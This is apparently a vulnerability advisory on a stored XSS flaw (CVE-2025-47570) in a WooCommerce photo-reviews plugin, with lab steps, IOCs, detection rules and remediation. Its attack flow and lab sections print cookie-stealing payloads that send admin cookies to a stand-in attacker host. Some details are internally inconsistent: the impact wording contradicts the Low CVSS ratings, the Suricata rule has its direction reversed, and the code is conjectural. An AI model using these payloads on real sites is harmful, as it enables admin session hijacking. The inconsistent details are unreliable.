CVE-2025-47570

Executive Summary

CVE-2025-47570 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WooCommerce Photo Reviews plugin for WordPress, versions 1.3.13 and earlier. This flaw allows an unauthenticated attacker to inject arbitrary web scripts or HTML into the plugin's input fields, which are then stored and executed in the context of an administrator's browser when they view the reviews. The vulnerability is classified as Improper Neutralization of Input During Web Page Generation (CWE-79).

Given the widespread use of WooCommerce and the plugin's role in handling user-submitted content, this vulnerability poses a significant risk to e-commerce sites. An attacker can leverage this to steal admin session cookies, deface the site, or perform actions on behalf of an administrator, potentially leading to full site compromise. The CVSS score of 7.1 reflects the high impact on confidentiality, integrity, and availability, albeit with a requirement for user interaction (admin viewing the malicious review).

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and potentially through third-party marketplaces. Users who have installed the plugin from any source are at risk. The lack of a publicly available patch or advisory from the vendor (Villatheme) increases the urgency for mitigation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim (admin) must view the malicious review.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited information disclosure.
• Integrity (I): Low (L) - Limited modification of data.
• Availability (A): Low (L) - Limited disruption of service.

Threat Level: High. The ease of exploitation (no authentication, low complexity) combined with the potential for privilege escalation (admin session hijacking) makes this a critical threat for any WooCommerce site using the affected plugin.

Deep Dive & Mechanics

The vulnerability resides in the WooCommerce Photo Reviews plugin's handling of user-submitted review content. The plugin fails to properly sanitize or escape user input before storing it in the database and later rendering it in the WordPress admin panel.

Attack Flow:

1. Reconnaissance: An attacker identifies a target WordPress site running WooCommerce with the vulnerable plugin.
2. Payload Injection: The attacker submits a product review containing a malicious JavaScript payload in the review text or photo caption field. For example:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Storage: The plugin stores the malicious input in the WordPress database without proper sanitization.
4. Trigger: A site administrator navigates to the WooCommerce > Reviews page in the WordPress admin dashboard to moderate or view the review.
5. Execution: The stored XSS payload executes in the administrator's browser, sending their session cookie to the attacker's server.
6. Exploitation: The attacker uses the stolen cookie to hijack the admin session, gaining full control over the WordPress site.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.3.13): The plugin likely uses a function like the_content or echo to display the review text without escaping.

// Vulnerable: Direct output without escaping
echo $review->review_content;

Patched Code (Hypothetical): A secure version would use WordPress's built-in escaping functions.

// Patched: Escaping output
echo esc_html( $review->review_content );

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a local WordPress instance (e.g., using XAMPP or Docker).
2. Install WooCommerce and the WooCommerce Photo Reviews plugin (version 1.3.13).
3. Create a test product and enable reviews.

Exploitation Steps:

1. As an unauthenticated user, navigate to the product page.
2. Submit a review with the following payload in the "Review" field:

   <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
   

3. Log in as an administrator and navigate to WooCommerce > Reviews.
4. The admin's browser will execute the payload, sending the cookie to the attacker's server.

Blue Team (Defensive)

Detection:

• Monitor for unusual review submissions containing HTML tags or JavaScript.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Prevention:

• Immediately disable or remove the WooCommerce Photo Reviews plugin until a patch is available.
• Apply virtual patching via a WAF to block XSS attempts.
• Educate administrators to avoid clicking on suspicious reviews.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown or suspicious domains from the WordPress admin panel.
  • Requests containing document.cookie in the URL parameters.
• Host:
  • Unexpected JavaScript code in the wp_postmeta or wp_comments database tables.
  • Presence of <script> tags in the comment_content or meta_value fields.
• Logs:
  • WordPress debug logs showing PHP warnings related to the_content or echo of user input.
  • Web server access logs showing requests to /wp-admin/admin.php?page=woocommerce-photo-reviews with unusual referrers.

Detection Engineering

YARA Rule

rule Detect_WooCommerce_Photo_Reviews_XSS {
    meta:
        description = "Detects stored XSS payloads in WooCommerce Photo Reviews plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47570"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["'][^"']*["']/is
        $xss3 = /onload\s*=\s*["'][^"']*["']/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: WooCommerce Photo Reviews Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in WooCommerce Photo Reviews plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=woocommerce_photo_reviews_submit_review'
        cs-User-Agent: '*'
    condition: selection
falsepositives:
    - Legitimate use of HTML in reviews (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"WooCommerce Photo Reviews Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=woocommerce_photo_reviews_submit_review"; http_client_body; pcre:"/(<script|onerror|onload|javascript)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and delete the WooCommerce Photo Reviews plugin from the WordPress admin panel.
2. Virtual Patching: If a WAF is available, create a custom rule to block POST requests to /wp-admin/admin-ajax.php with action=woocommerce_photo_reviews_submit_review containing HTML tags.
3. Review Existing Data: Scan the wp_comments and wp_postmeta tables for any stored XSS payloads and remove them.

Long-Term Fix:

• Monitor the Villatheme website or WordPress Plugin Directory for an official patch. Once released, update the plugin immediately.
• Consider switching to an alternative, actively maintained WooCommerce photo reviews plugin.

Valters IT